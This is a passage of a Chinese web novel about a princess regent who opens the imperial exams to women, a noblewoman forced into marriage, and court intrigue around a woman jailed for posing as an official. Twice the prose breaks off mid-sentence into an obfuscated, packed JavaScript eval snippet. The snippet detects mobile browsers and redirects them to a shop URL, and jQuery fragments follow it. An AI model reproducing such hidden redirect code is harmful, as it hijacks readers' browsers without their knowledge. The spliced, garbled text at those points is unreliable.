“姑娘小心些,这支金钗可是老夫人的陪嫁呢,其他人想戴还戴不来呢。”嬷嬷急得拾起金钗,仔细检查着,细细拂了拂金凤,抚着胸口送了口气:“还好没摔坏。” 李淑华看了嬷嬷一眼,又瞥了眼嬷嬷手中的金凤钗,取来嬷嬷放在一旁的书籍,转身坐在书桌前研读着:“那便让他们等着便是,左不过我是不会去的。” 李淑华如今十八九的年纪,依着大江的风俗,女子十五及笄,及笄后的两三年内,各家递来拜帖相看一番,大江女子基本上在二十岁左右,便已是人妇。 李淑华的婚事,开国公家里不是不担心,只是如今家里日益衰败,先前与他们家交好的人家,不是早就许配了婚事就是看不上他们家,或是先前犯了事不堪结亲,李淑华倒给耽误了。 如今海州邵家来求,虽说比开国公家差远了,可他们家的大公子在朝中崭露头角,得陛下重用,前途一片光明,兴许开国公府还能乘着这阵姻亲的东风再度兴盛起来。 况且,前来求亲的邵家二公子,嬷嬷远远看过,气宇轩昂模样俊俏,待人温文尔雅,倒是个良人。 嬷嬷急得劝道:“姑娘,这些书什么时候都能看,眼下最重要的是姑娘的婚事要紧。” 李淑华换了个方向避开嬷嬷:“什么要紧不要紧的,眼下最要紧的是科考一事,只有六个月的时间,这可是开天辟地第一次呢,想来定是人才济济,我可得多多用功才是。” 嬷嬷纳闷道:“科考?陛下刚登基时不是举行过一次吗,依着规矩,也该再等个两三年啊,况且,这科考该是男子们做的事,与我们这些后院的女子有何干系?姑娘糊涂了?” 李淑华道:“嬷嬷整日闷在这后院之中,想来不知道外面发生了什么。” 李淑华意气风发道:“抚政大长公主发布了召令,凡我朝女子,均可参与这次的科考。嬷嬷,这可是千载难逢的机会啊!若是我有幸中了,来日拜相封侯,何愁不能兴盛我们开国公府啊!” 嬷嬷抠着手指,犹豫道:“这……这……姑娘,这事少闻,兴许是外面的人谣传的呢?” 李淑华道:“我亲眼看见了那召令,现下就贴在城门口呢,街头巷尾都传遍了,怎会有假?王太傅的孙女润蕾,还有温国公府的嘉诚小姐,她们可都是会去参加的,我又怎能落了后?” 说着,李淑华又举起书籍,才看了两三页,嬷嬷总是在她眼前晃着,扰得李淑华也没了心思看书,李淑华无奈,放下书本,连推带赶地将嬷嬷推出书房,“嬷嬷,机会难得,你就别站在我面前碍眼了,你去告诉祖母,告诉父亲母亲,我不嫁!” 嬷嬷道:“姑娘,你这说的是什么话,哪儿有女子不嫁人的?” 隔着门,李淑华反驳道:“王太傅的孙女王润蕾,比我还大个五六岁呢,不也是还没嫁人吗?” “姑娘,你是不知道太傅大人家 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274282|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里是有多着急,城里能相看的人家都相看了,只是他家姑娘有些口吃,许多人家看不上罢了。” “温国公的独女温嘉诚,如今不也还待在家中吗?也没见温国公和温国公夫人催促?” “姑娘,你又不是不知道,先前温姑娘入选太子妃,只是后来牵扯到那桩案子中。再怎么说,温姑娘到底做过太子妃,有哪家敢娶呢?” “别的不说,当朝的抚政大长公主,还有宁乐公主,不都是尚未婚配吗?也没见旁人说三道四的。” “姑娘……你……你别犟了……” 李淑华的父亲脸色甚是不悦:“嬷嬷,派你来喊淑华去前厅拜见邵家的客人,怎的拖到了现在?” 嬷嬷赔笑道:“姑娘……姑娘正在梳洗打扮呢。” 李淑华的父亲道:“快些吧。” “父亲,我不去!我也不嫁!”李淑华猛地推开房门,眼眶发红。 “你说什么?” “父亲,我不会去的。我要参加科考,我要做官,我要兴盛我们开国公府,兴盛康州李氏!” “做官?你做什么官?宫里的女官吗?做了女官就能兴盛我们家吗?淑华,你太天真了,不过是宫内的女官,还管不了朝堂上的事,再说,兴盛家族有你哥哥呢,你若想兴盛我们家,便安心嫁给海州邵家,兴许我们家还能有点指望。” “父亲,女子亦可做官理政,女子亦可拜将封侯!” “胡闹!宫里那位胡闹,你也要跟着胡闹吗?难道你要搭上我们一家人吗?” “父亲!”李淑华眼中含着泪,低头捂着发红的脸颊。 “嬷嬷,给她洗把脸,快点带到前厅去。” “父亲,不管你们说什么,我是不会去的。父亲不是也想过要重现我们家的荣光吗?你为什么就不让女儿去试一试呢?” “试什么?啊?你想试什么?试试怎么把我们这一家子百十来口的人都搭进去吗?” “父亲……不会的……不是你想的那样的……” “你懂什么?如今宫里那位正和程尚书斗法呢,她是没了法子,这才想到让你们这些女子去做官。真是胡闹,女子做官,哼,千百年来从未有过之事。” “父亲,女儿读书十几年,希望能学以致用,希望能……” “为父读书几十年!” 李淑华听后,怔怔地站在原地。 “嬷嬷,快些把姑娘带过来。” 嬷嬷看了眼李淑华,心疼道:“姑娘,你这是何必呢?何必与老爷起争执呢?” 李淑华如同木偶一般,任由嬷嬷梳洗打扮着,任由嬷嬷牵引着带到了前厅,任由邵家的人相看着,任由长辈定下婚约。 两家商议,婚约就定在了三个月之后。 李淑华自然不愿,再过两三个月,京都将会有第一场女子科考,可一个月之后,她就要离开京都,前去海州。 女子科考,千载难逢,李淑华等这样的机会等了数年,如今机会就在眼前她怎会甘心放弃。 “嬷嬷,我不想嫁人,我不想去海州,我想留在京城,我想参加科考,我想去做官,我想……” 嬷嬷抬眼看向镜中的李淑华,不知何时,泪水早已爬满李淑华的脸。 嬷嬷心疼道:“姑娘,还是先别想这个了,先嫁人吧,等日后嫁了人,若是还有机会,再参加也不迟。”嬷嬷看着李淑华长大,怎会不心疼,只是,她也只是开国公府的一个嬷嬷,再怎么样也拗不过老爷夫人。 况且,老爷浸淫官场多年,最了解里头的弯绕,上次老爷都那么说了,只怕……若是大长公主失败了,那姑娘只怕也…… 近来她时常也听到街上人的议论,距离大长公主颁发的召令已经过去两三个月了,大家都不似刚听闻召令那般欣喜,如今都持观望态度,谁也不敢做这第一人啊。 还是……再观望观望吧。 李淑华道:“嬷嬷,机会只这一次了。” 正如父亲所说,如今大长公主正在为了天下的女子,正与朝臣们争斗,若是这第一场科考举行不顺利,日后大长公主在朝堂上便会处处受到朝臣们钳制,又哪里还会有第二场?又哪里还有什么以后? 李淑华低头沉思片刻,打定主意,道:“嬷嬷,你先下去吧,我今日想看些书。”说着,便往旁边的书架走去,随手翻出一本,却不想是空的,李淑华不信邪,又接连翻了两三本,竟都是空的。 李淑华有些慌了神:“嬷嬷?我的书呢?” 嬷嬷慌忙上前查看,心中也没了主意,这些书是老爷夫人才命人换上的,说是要当做姑娘的陪嫁,随姑娘到海州的,怎么会这样? 李淑华捧着空白的书册苦笑几声,心中的主意愈发坚定,“嬷嬷,你这就去告诉祖母,去告诉父亲母亲,我嫁,我嫁……” “我嫁。”李淑华无力闭上双眼,任由眼泪流淌。 “姑娘——” “快去吧。” 近些天嬷嬷一直形影不离地守在李淑华身边,李淑华打定主意要逃,自然要支开嬷嬷。 听着房门开启又关闭,听着嬷嬷的脚步渐渐远去,李淑华一骨碌从地上站起来,不敢有丝毫耽搁,带了自己最喜欢的一套笔墨,又带了些银两和两三件换洗的衣服,趁着夜色悄悄出了门。 还没走出后院的二门,李淑华撞见了她的兄长,李重满。 “淑华,眼下夜已深,你这是去哪儿?父亲母亲不是让你待在屋里吗?” 李重满走上前,见李淑华手中的包裹,还有这脸上未干的泪痕,再联想到这个妹妹格外抗拒与海州邵家的这桩亲事,猜测道:“莫不是你要私奔?” “情郎是谁?”李重满一把夺过李淑华手中的包裹。 李淑华不肯退让,紧紧攥着手中的包裹,冷哼一声:“兄长眼中果真只有情爱之事。” 李重满软声道:“淑华,此次我们与邵家结亲不易,既然已经定下婚约,就当认真对待,这可不是儿戏。” “邵家的邵节,才升任了兵部侍郎,兴许不久就能担任兵部尚书一职,前途不可限量,于我们开国公府,多有益处。” 李淑华嗤了一声:“兵部侍郎?不知道的还以为我要嫁是兵部侍郎邵节呢!” “淑华!” “兄长,能兴盛我们开国公府的,不是只有我嫁人这一条路。” “淑华,开国公府养你一场,如今该你为开国公尽责了,怎的,你不想吗?” “正是因为开国公养我一场,我才更应该去参加科考,挣得功名,耀我家门,兴盛我族。” “你倒不是要去私奔?你竟还想着去参加女子科考?” “正是。兄长,女子科考,于我而言,可是千载难逢的机会,还望兄长高抬贵手,放我去吧。” “胡闹!你竟还不死心!”李淑华与李重满僵持的这一会儿,李淑华的父亲母亲带着仆妇们赶来。 “来人,姑娘出嫁之前,不许离开后院半步。” “父亲!” “带下去!”开国公厉声喝道。 待周边仆人散去,开国公看向一旁正欲偷溜的李重满,道:“这么晚了,你怎么在这儿?” “一身的酒味儿。” 李重满看着盛怒之下的父亲,按耐住心中的畏惧,上前岔开话题道:“父亲,其实……其实淑华说的也不无道理,能兴盛我们家的,不是只有嫁人联姻这一条路。” “父亲,靠人不如靠己,与其依靠邵家,不如……”李重满见开国公锐利的眼神扫过来,吓得噤声。 “蠢货,难怪我们家会没有指望,若是你有你妹妹一半的心思,咱们家何愁没有兴盛的那一日?” 李重满嗫嚅道:“父亲……” “你也就只知道与你那些个狐朋狗友鬼混吃酒。” 李重满中气不足地辩解道:“父亲,他们都是朝中大臣们家的,那可都是儿臣日后的人脉,怎么能说是狐朋狗友呢?” “哼,他们若是有用,你今日便说不出方才那样的话。”开国公白了李重满一眼,倾转了下身子,低声道:“你日日与他们厮混在一起,怎么没从他们嘴里听到些什么风声?” “我们平日玩耍,惯不喜欢谈论这些。” “你说什么?”李重满声音太小,开国公没听清楚,又问了一遍。 李重满忙摇摇头不敢言语。 开国公不满地看了李重满一眼,低声道:“近来朝中出了一桩案子,靖州那边有个女子,女扮男装假扮朝廷官员,如今正羁押在刑部的监牢之中。” “听说今日早朝之上,刑部侍郎奏到了陛下与那位面前,再过两三个月就是女子科考了,这其中的意思你还看不明白吗?” 开国公冷眼看着自己这个独子,希望他还能有些政治觉悟。 李重满道:“他们是想借着这桩案子,打压大长公主?打压女子科考一事?” 开国公点点头。 虽说这只是件普通得不能再普通的案子,可这案子发生在眼下这个节骨眼上,不得不多心。 家中的女儿们能否参加女子科考一事,全看这女扮男装假扮朝廷官员的案子如何了结。 不止他们盯着这起女扮男装的案子,宫里也正为着这件事发愁。 康佑帝刘绥随手翻了两三份折子,见多是在说傅容光女扮男装的事,轻笑一声:“把这些折子送到大姐姐宫里吧,朕到底年幼,有些事还是需要大姐姐拿主意才是。” 看着满桌上都是要求严惩傅容光的折子,刘安恨不得将手中的笔杆捏断。“程显可真是只老狐狸,关押傅容光多时,竟为了今时这一刻。” 根据刑部监狱的记档,傅容光早早就被关进了监牢中。程显近来多有吃瘪,只怕是指着这桩案子打个漂亮的翻身仗呢。 “傅容光……”刘安喃喃念了一声,好熟悉的名字,好像什么时候听过。 86. 安内(十一)傅容光案 “大姐姐!” 人还未见声先至。 刘安听闻逍遥王刘赞的声音,抬起头找寻着他的踪迹。 “大姐姐!”刘赞连跑带跳,脚步停在刘安面前。 面前的刘安,身形消瘦,面目忧愁,唇色发白,眉眼之间似有数不尽的烦恼,头上盘起的发髻也不如先前的饱满,屋里炭火足量却还是披着厚厚的衣服。 刘赞在刘安身边十余年,何时见过大姐姐这般憔悴伤神? 刘赞注视良久,才道了声:“一别数日,姐姐怎么比我离京前更显憔悴?” 刘安含泪带笑起身,伸手抚上刘赞耳旁的发带垂缨:“一别数日,赞儿看着也是瘦了,不过看着也长大不少、稳重许多。” “可是前朝那些人欺负姐姐了?可是姐姐受了委屈?姐姐不必忧心,如今弟弟回京了,七弟不日也便会回京,定不会再让姐姐受他们欺负!” “赞儿放心,我如今是抚政大长公主,仅一人之下,断不会让自己平白受到委屈的。” 刘赞点点头,回京路上,听到了不少关于大姐姐的言论,更是听闻大姐姐如今正为着一桩案子忧愁,便马不停蹄地先回了京,一刻不敢停歇,匆匆拜见过皇帝后便来了大姐姐的福康宫。 刘赞来不及喝口茶润喉,忙不迭道:“不知眼下是桩什么案子,竟让大姐姐忧愁至此?” 刘安笑道:“才回宫吧,你且歇歇,这事儿倒也不急。” 刘赞道:“姐姐正为了这事儿忧愁,我又怎能安得下心呢?能为姐姐分忧,我求之不得呢。” 刘安坐回到位置上,重新拾起让她头疼的折子,打开扫了一眼复又合上,无奈叹了口气道:“原也不是什么大事,不过是一桩假扮朝廷官员的案子,依着律法该怎么判处就怎么判处便是了。可偏偏……” “我刚颁布了一场召令,一场应召女子入朝为官的召令,我原想着,历来女子没有当权理政的机会,若是今时今日在我当政期间,我能为天下女子提供这样的机会,她们必定会效忠于我。况且,又可凭借着世家女子的才华与她们背后的家族,助我清扫朝堂、收拢权利。” “先前父皇、孝懿太子,乃至启盛帝、天启帝,不都是因为朝堂之上异己颇多,处处受到掣肘而无法施展吗?” “倘若我拥有至高无上的权力,朝堂之上再无人敢反驳之人,待到边市的资金充盈国库,开库练兵,什么胡蛮海寇,尽会拜倒在我们大江的铁骑之下,尽会臣服于我大江,乃至栾南的诚王,保管他兴不起什么风浪。别说收复漳州五城的失地,就连开拓疆土,也是不在话下。到那时,国库丰盈政治清明,百姓安居乐业,国泰民安。” 末了,刘安又加了句:“也算是不辱父皇临终所托。” 既然要拥有至高无上的权力,必定得有一定的政绩所支撑,方才所说的安内攘外、开疆拓土的种种,便是再好不过的政绩,有足够高的政绩傍身,别说什么权力,就算是帝位,也不过是手到擒来。 刘赞听得刘安这番言辞激昂的论调,有些迟疑,但也未曾多言,怕扫了大姐姐的兴致。大姐姐所说的这些,大江历代皇帝都想过,可这条路走起来却是难得很。不论别的,单就这钱财一方面,单靠个边市,是无法支撑连年的东征西讨、南定北安的,况且,连年的战争,百姓如何能安居乐业呢? “只是……”刘安掂了掂手里的折子,怅然叹道:“这女子科考还有不足两个月就要在京都举行,这桩假扮朝廷命官的案子便呈到了御前。” “若只是假扮朝廷命官也就罢了,可偏偏这是一桩……女扮男装假扮朝廷官员的案子,无论怎么去判,都会影响日后的女子科考,不知有多少双眼睛正盯着我呢。” 女扮男装?假扮朝廷官员?怎么听着……倒是有些熟悉……刘赞倒吸一口凉气,总不至于是她吧? 刘赞接过折子,看到那个熟悉的名字,“啧”了一声,还真是她! 难怪这么多天一直没有她的消息,不成想竟被关进刑部监牢多时,他竟今日才知。 “莫不是赞儿有什么高见?不妨说来听听。” 刘赞有些慌乱地笑道:“一时间我倒也没什么法子,只是……这傅容光,我倒是认识。” 刘安撑着下巴,笑着看向刘赞:“你认识?怎么从未听你提起过?你详细说说。” 刘赞道:“傅容光,她的兄长傅士安,曾就任过永州的驻城官,傅士安在永州之时,曾与永州的驻防将领蔡桐政见上有过不合,后傅士安调离永州转任靖州驻城官,在去靖州途中,傅士安下落不明。傅容光也就是那时候,女扮男装,假扮的靖州驻城官。” “大姐姐,容光她虽然是假扮的官员,依着律法该斩,可她为政期间,无不勤勉爱民,靖州的百姓也纷纷对她交口称赞,前年靖州干旱,是她亲自带着靖州的百姓们挖渠引水修建堤坝,缓解靖州干旱,若非她做出这些事,只怕靖州的灾情前年便爆发了。还望大姐姐看在她为政期间的政绩,从轻发落吧。” 刘安轻轻叩击着桌子,叹息道:“国有律法,当依律而行,倘若为着一个两个的特例坏了律法,日后法度还有何威严?还会有谁会信服呢?今日你在我面前为她求情,求我从轻发落,日后旁人效仿,又还有什么公平可言?” 如今刘安要组建自己的一套班子,需要的正是如傅容光这般胆大、无所畏惧、心怀民众又有能力的人,只是傅容光这桩案子不知有多少人盯着,稍有不慎便会落人口实,刘安也是犯难。 刘赞有些惋惜不忍,但还想再为傅容光多说些好话:“容光她是难得一见的好官,她只是被拘泥在女子的身份中,倘若她是男子,倘若她能参加大姐姐设立的女子科考场,则会是另一番光景。” “容光她也深知假扮朝廷官员有违律法,在靖州水渠修建好后没多久,便辞了官,事后靖州新的驻城官到任,容光还亲自检举揭发自己,靖州新任驻城官深明大义,念在容光做官期间所施行之策均是益于百姓,便未再追究,缘何会闹得今日这样大的动静?” “大姐姐难道不觉得可疑吗?” 刘安何尝不觉得此事可疑,依着刑部记档,傅容光早就被捕入狱,后又转入刑部监牢,关押至今。前几个月她才颁布了开设女子科考场的召令,今时傅容光的案子便被捅出来,若说没人布局谋划,她是断然不信的。 即便知道是有人布局谋划,可现在问题明明白白地摆在眼前,该怎么做才好呢? 刘赞急得来回踱步,他也不知为何傅容光的事会闹得这么大,若是没闹到御前,他身为逍遥王,想要保下傅容光不成问题,只是如今连大姐姐都为难起来,又能有什么办法保下容光呢? 刘安看着眼前转了一圈又一圈的刘赞,多少有点眼晕,叹了口气,闭目养神道:“你歇会儿吧。” “大姐姐,我如今急得不行,哪里还——”刘赞忽然想起,他明白傅容光为什么会入狱,他明白为什么那些人一定要置傅容光于死地了。 “大姐姐,我想到了,我明白了!”刘赞神神叨叨地上前一大步。 刘安抬眼看向莲音,莲音会意,带着在宫殿内侍奉的宫人下去。 刘赞凑近刘安,低声道:“当日孝懿太子在天牢中意外薨逝,后查出孝懿太子是被人毒害的,查验出孝懿太子真正死因的不是旁人,正是傅容光。大姐姐,会不会是毒害孝懿太子的人知道了此事?” “是她?”刘安陷入沉思,若是这么说,整件案子倒也能说得通。当初刘仲以巫蛊之事陷害孝懿太子,后孝懿太子毒发身亡,种种证据都指向刘仲,父皇因此发怒,处置了不少与此事有关、与刘仲交好的官员,当时父皇看中程显,并未深究他。如今这傅容光的案子是程显捅出来的,莫不是他发现傅容光曾为孝懿太子验尸一事? 刘安一拍桌子:“赞儿,你去城南,查程显有没有私下去见过刘仲,查程显私下的行踪,看是否有可疑之处,一定要查清楚查仔细,一丝一毫都不能放过。” 程显此举,除了让女子入朝为官的政策推行不下去,恐怕还有别的企图。 总不至于程显会逼宫谋反从而推刘仲上位吧?先前绥弟登基时,也是他带头在闹,若不是拿出刘仲的信物做要挟,程显不会跪得那么快。可刘仲已然贬为庶人,如今绥弟登基为帝一年有余,刘仲全然没了指望。可若不是刘仲,那能是谁?诚王? 刘安起身取来放在高架上的一个落灰的匣子,取出刘仲当日赠与她的那支笔,也不知时至今日,这支笔是否还能再派上用场。 刘安合上匣子,唤来莲音:“莲音,你去将这个匣子送到程尚书府上。若是他问起来,便答你什么都不知。” 莲音疑惑:“殿下,若是程尚书继续追问,那又该如何作答?” 刘安深吸一口气,笑道:“若他再问,记得告诉他,本宫派了金中堂去城南,其余不用再说什么。” 望着莲音手中的那个匣子,刘安道:“若是程显忧心,此事倒还有转圜的余地。” 若是程显心中还有刘仲,必然会有所担忧,一旦他忧心,那倒好办了。如今刘仲圈进在京城京南,一举一动皆在眼皮子底下,程显为了保住刘仲必定会有所妥协。怕就怕在,程显为的是诚王。 刘安问:“定北王可有消息?” 莲音回道:“定北王殿下说,待他操练好永济的士兵后,便会返京,约莫也就这个月了吧。” “快去吧。”刘安点点头,待刘昶回京,兵权回拢,她便更有把握了。 莲音没有丝毫耽搁,出宫前去程显府上。 程显正与谏议大夫裴纶、袁正二人闲谈,听闻大长公主身边的掌事宫女前来,也甚是纳闷。 程显安排裴纶与袁正二人躲入后室屏风之后,方才起身迎见。 程显施礼拜过莲音后,接过匣子纳罕道:“内官大人,不知大长公主殿下这是何意?” 莲音摇头不语,眼神瞟向程显手中那匣子,道:“尚书大人,殿下只是让将这个匣子送过来,并未多说什么。大人不妨打开看看殿下赐了什么。” 程显带着疑虑打开匣子,待看到刘仲的那支笔之后,心脏漏跳半拍,脸色闪过一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274283|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝紧张,而后很快恢复如常,问道:“殿下赏赐这支笔,可有什么深意?” 莲音依旧笑着摇头道:“殿下的心思我又何尝而知呢?尚书大人若是不解,不如进宫去问殿下。” 程显尬笑两声,心却揪在一起。 当初康佑帝登基,大长公主便用得这一招,以刘仲的性命来要挟他就范,如今又要用同样的招数吗?真是可笑。 看来傅容光的案子,大长公主是没招了,先前他还以为大长公主很了不得呢,今日看来,也不过是一介女子,掀不起什么风浪。 程显心中了然,胸有成竹地跪地谢恩:“臣程显恭谢殿下赏赐。” 莲音见程显不再追问,有些惊诧,退后半步,神色恢复如常,笑道:“殿下的赏赐已送达,大人若无他事,下官便告退了。” 程显道:“有劳内官。” 莲音却行数步,转身迈出门槛,看向日头,同身边的女官低声闲聊道:“约莫着金将军也该从城南回宫向殿下复命了。” 程显上前半步,心中焦急,嘴张了又张,还是止住了。 莲音转身,余光飞速扫了眼程显,瞥见程显忧心的神色,嘴角上扬,殿下猜得不错,程尚书果然忧心。 直至莲音离开,裴纶与袁正二人方才从屏风之后走出,二人看着程显依旧盯着莲音离开的方向,见他手中紧紧握着那支毛笔,甚是疑惑:“程大人,这支笔……可有什么特殊之处?” 程显回神,收好那支笔:“这是二殿下的。” “二殿下?”裴纶与袁正二人相互对视一眼,甚是不解:“二殿下……不是被圈禁在城南了吗?怎么……” 程显哼了一声,眼中阴鸷尽显:“这是二殿下最喜欢的一支笔,却落在了大长公主手里,如今又转赐于我,是在以二殿下做要挟吗?” 裴纶道:“程大人,先帝生前已废二殿下为庶人,况如今新帝登基一年有余,这二殿下哪里还有什么指望?程卿还是……” 程显一记眼神扫过,裴纶不敢再多言,与旁边的袁正眼神交织,轻微摇头示意,低头噤声。 程显盯着那支笔,道:“当日若不是二殿下伸以援手,今日朝堂之上又哪里还有我们这些寒门学子的出路?” “知遇之恩,无以为报。” 当日得知二皇子刘仲有意于帝位,程显费心费力去帮他谋划,为刘仲扫去太子这个阻碍, 可怎知先帝竟那般偏心,竟将这一切的过错都算在二殿下头上,宁愿将皇位传给一个黄口小儿也不愿考虑二殿下,明明二殿下才是最合适的即位人选,明明二殿下才是! “只要二殿下一声令下,即便是他让我死,我也心甘情愿无所怨言。” 袁正看了眼程显,又看了眼裴纶,道:“可是,如今二殿下在大长公主手里,京中驻城军的将领金中堂,原是大长公主身边的贴身护卫,宫里的禁卫军、羽林军也都在大长公主手里,不久定北王也会归京。” “如今又给大长公主捅了一桩案子,坏了她的事,我们又能怎么办呢?” 程显想了想,原本还想借着傅容光的案子好好挫一挫大长公主的威风,却忘了刘仲还在她手上,因而只能咬着牙道:“那桩案子只能拖了。” 傅容光的事急不得,得拖。 拖到悄无声息,拖到无人在意,想怎么处置不过是刘安一纸诏书的事,死刑改做流放,再随便找个什么由头特赦即可。 如今最紧要的是稳住朝纲,快速招揽自己的势力,日后也才好处置程显之流。 “莲房,你去取来挂在我床头的那柄弓,送与嘉诚,待到科举过后,待到她登科及第之后,本宫与她同去京郊狩猎,为她庆贺。” “是。”莲房应声退下。 “温姑娘,殿下提前恭贺姑娘金榜题名。” 温嘉诚接过那柄弓,有些犹豫,眨巴下眼睛:“这……” 莲房笑道:“温姑娘,殿下的心思想来姑娘最是清楚,还望姑娘不要辜负殿下的一片心意。” 温嘉诚抚摸着弓身,道:“让殿下放心,我愿与殿下共进退。” 先前期与她约好一同参与科考的李淑华、王润蕾二人,一个远嫁海州见不到人,一个闭门不出不见人,皆放弃了这次的科考。 唯余她一人。 莲房道:“有姑娘这句话,想来殿下也可安心许多。” 温嘉诚问:“殿下近来……是在为那桩案子烦心吗?” 何止刘安烦心,凡是有意参与科考的女子,皆关心着那桩案子。 莲房点点头,无奈叹息道:“何止呢,近来事务繁多,按下这个又浮起那个,一项接一项地压向殿下,可又没有真正忠心于殿下的,即便殿下是满心的抱负也无处可施展,殿下已经愁得数夜都睡不安稳了。” 温嘉诚道:“士为知己者死,无论前路是上刀山还是下火海,只要殿下吩咐,温嘉诚在所不惜。” 莲房道:“那便等着姑娘来日在朝堂之上大展宏图了。” 温嘉诚道:“不止我,还有天下千千万万的女子。” 87. 安内(十二)众矢之的 女子科考按期举行。 可参加者……寥寥。 康佑帝刘绥身边的近侍杨仕鑫看了眼刘绥的神情,幸灾乐祸道:“陛下,奴在考场外面看了,直到开考前,只进去一人。” “啊?怎么……竟只有一人?”刘绥甚是诧异,嘴角忍不住地上扬。 杨仕鑫道:“是呢,奴也还纳闷儿呢,特意等了半场才回来,真就只有一人参加。” 刘绥眯起眼睛,问道:“那人是谁?” 杨仕鑫回:“温国公独女,温嘉诚。” “呵,这可真是一步好棋啊!”刘绥听后嗤笑一声,大姐姐果真会找帮手,竟然找到了她。 温嘉诚曾是孝懿太子的太子妃,有她在,可让曾经孝懿太子的属官信服;温嘉诚是温国公独女,温国公世代驻守边境,又是今朝新贵,生母温国公夫人的母家是齐国公府、汀州张氏,温嘉诚出身望族,又可与朝中的寒门对立;温嘉诚又是女子,受了抚政大长公主的恩惠才得以入朝为官,势必会对大长公主言听计从。 刘绥双手覆上高高摞起的折子,闭上眼睛,指着桌上堆积如山的奏折道:“把这些折子再送到福康宫去。” 刘安看着桌上才刚消下去的折子又重新堆起来,清了清有些发腥的喉咙,不免摇头叹了口气。 刘赞抬头看了眼刘安,放下手中的算盘,道:“如今陛下已登基一年有余,也该学着处理政务了。” 杨仕鑫脸上讪笑着回道:“这些话……还是殿下亲自向陛下说罢,奴……不过是陛下身边的一个侍从……” 刘安看了杨仕鑫一眼后,又叹了口气:“罢了,你先下去吧。” “奴告退。”杨仕鑫弓腰却步,离开了福康宫。 杨仕鑫看向福康宫的匾额,狠狠啐了一口,方才离开。 不远处的莲亭看见,急得就要上前教训一番杨仕鑫,幸而钱衡量拦住。 莲亭忿忿道:“你拦我做什么?你没看见吗?那算个什么东西!给殿下提鞋都不配呢!也敢在福康宫面前耀武扬威、耍威风?” 钱衡量平心静气道:“如今福康宫不知道被多少人盯着,殿下处事又是谨慎谨慎再谨慎,生怕出了差错落人口实。” 钱衡量劝道:“你这会儿上前骂他一通,除了过个嘴瘾,于殿下毫无益处,你又何必多此一举呢?” “我只是……”莲亭绞着手中的手帕,眼中涌出些眼泪:“殿下近来身子不比从前,本该好生将养着,可折子却怎么批也批不完,政务怎么也处理不完,那边又毫不感恩,折子如流水般送来,政务如山般倾倒而来,我又怎能不心疼殿下!” “殿下吉人自有天相,我们无须担心。”钱衡量轻轻拍了拍莲亭的肩膀,安慰道:“越是这时候,我们才更不能给殿下添乱。” 莲亭被劝动,点点头。 钱衡量想到近来刘安总是撑着头,眉眼之间难以掩饰的疼痛之色,便道:“莲亭,你且先去殿下身边侍奉着,我去去就来。” 钱衡量好容易才混进宫,好容易才接近的权力中心,他如今的倚仗只有刘安一人,大事未了,自然不愿刘安有事。 钱衡量来到御医局,问道:“你们当中可有会按摩之人?” 御医们面面相觑,道:“可是殿下有所不适?微臣这里倒是有些膏药,兴许能缓解痛楚。” 御医道:“钱内官,不知殿下是是何种症状,微臣等也好对症下药。” 钱衡量笑道:“倒不是殿下,是我,我近来食少失眠,头隐隐作痛,不知是何症状。” 御医抓了些药:“内官只消吃些汤药缓解即可。” 钱衡量抱着手臂,上前一步,抓了些许药材放在鼻尖闻了闻,旋即掩着鼻子皱着眉头:“闻着这般苦涩,若是煎服岂不更苦?” 御医笑道:“良药苦口。” 钱衡量摇摇头,摆手让捧着药材的御医离远些:“先前在宫外时,听说有人会这按摩的手法,不用吃药,只消轻轻按上些时辰,头痛便可消解,不知可有人会这手法?” 御医们相视一眼,散去一些人,余下的两三个站在钱衡量身旁,讥笑道:“既然内官在宫外听说过,不妨派人去宫外寻去,我等并不会这些奇巧手法。”说罢,几人便散去各自忙去了。 散去的那些御医一边伸着脉案,一边瞄着钱衡量这里的动静,时不时脸上还漏出几分讥讽的笑意。 一个阉人而已,还是大长公主从宫外带回来不明来历的阉人,若不是倚仗着大长公主,也配来指使他们?与他好言几句,已是很给他脸色了。 钱衡量见众人皆是这副样子,恨不得将后槽牙咬碎,在宫里服侍,不都是宫里的奴吗?怎么还分起三六九等了呢? 钱衡量环视一周,默默将这些人的嘴脸全都记下,待到长公主安稳了前朝得了势,他再腾出手来收拾这些人。 钱衡量愤愤甩了袖子,意欲离开,忽而听到身后有人弱弱喊了一声:“我会!” 钱衡量停住脚,转头看去。 一个白净文弱的医工怯怯地站出来。 钱衡量笑道:“那你便来试试吧。”说罢,便找了位置坐下。 文弱医工挽起袖子,净了净手,十指张开,分别对上钱衡量脑袋上的穴位,轻柔而不失力道地按着。 末了,顺着脑袋沿着后颈处的肌肉一路轻柔按着,左右拨弄着:“钱内官,后颈处可有疼痛?” 钱衡量“嗯”了一声。 文弱医工一边按着一边解释道:“许是内官近来睡不安稳,颈部经络不通,故而头疼不已,只消揉按后颈处即可。” 医工松手,道:“不知内官以为如何?” 钱衡量缓缓睁开眼,虽说他并没什么头疼的症状,不过经过这个医工按过之后,眼前倒有种清明之态。 “甚好甚好。”钱衡量连连点头,“你叫什么名字?” 文弱医工回道:“微臣林微,颖州人士。” 钱衡量笑道:“这倒巧了,与我还是同乡呢。”说着,又上下细细打量一番林微,这林微生得白净文气,一双眼波流转的桃花眼,再配上他这按摩手法,兴许大长公主见了他,心头的烦恼也能一扫而空吧。 林微躬身恭敬道:“那日后还要多多倚仗钱内官呢。” 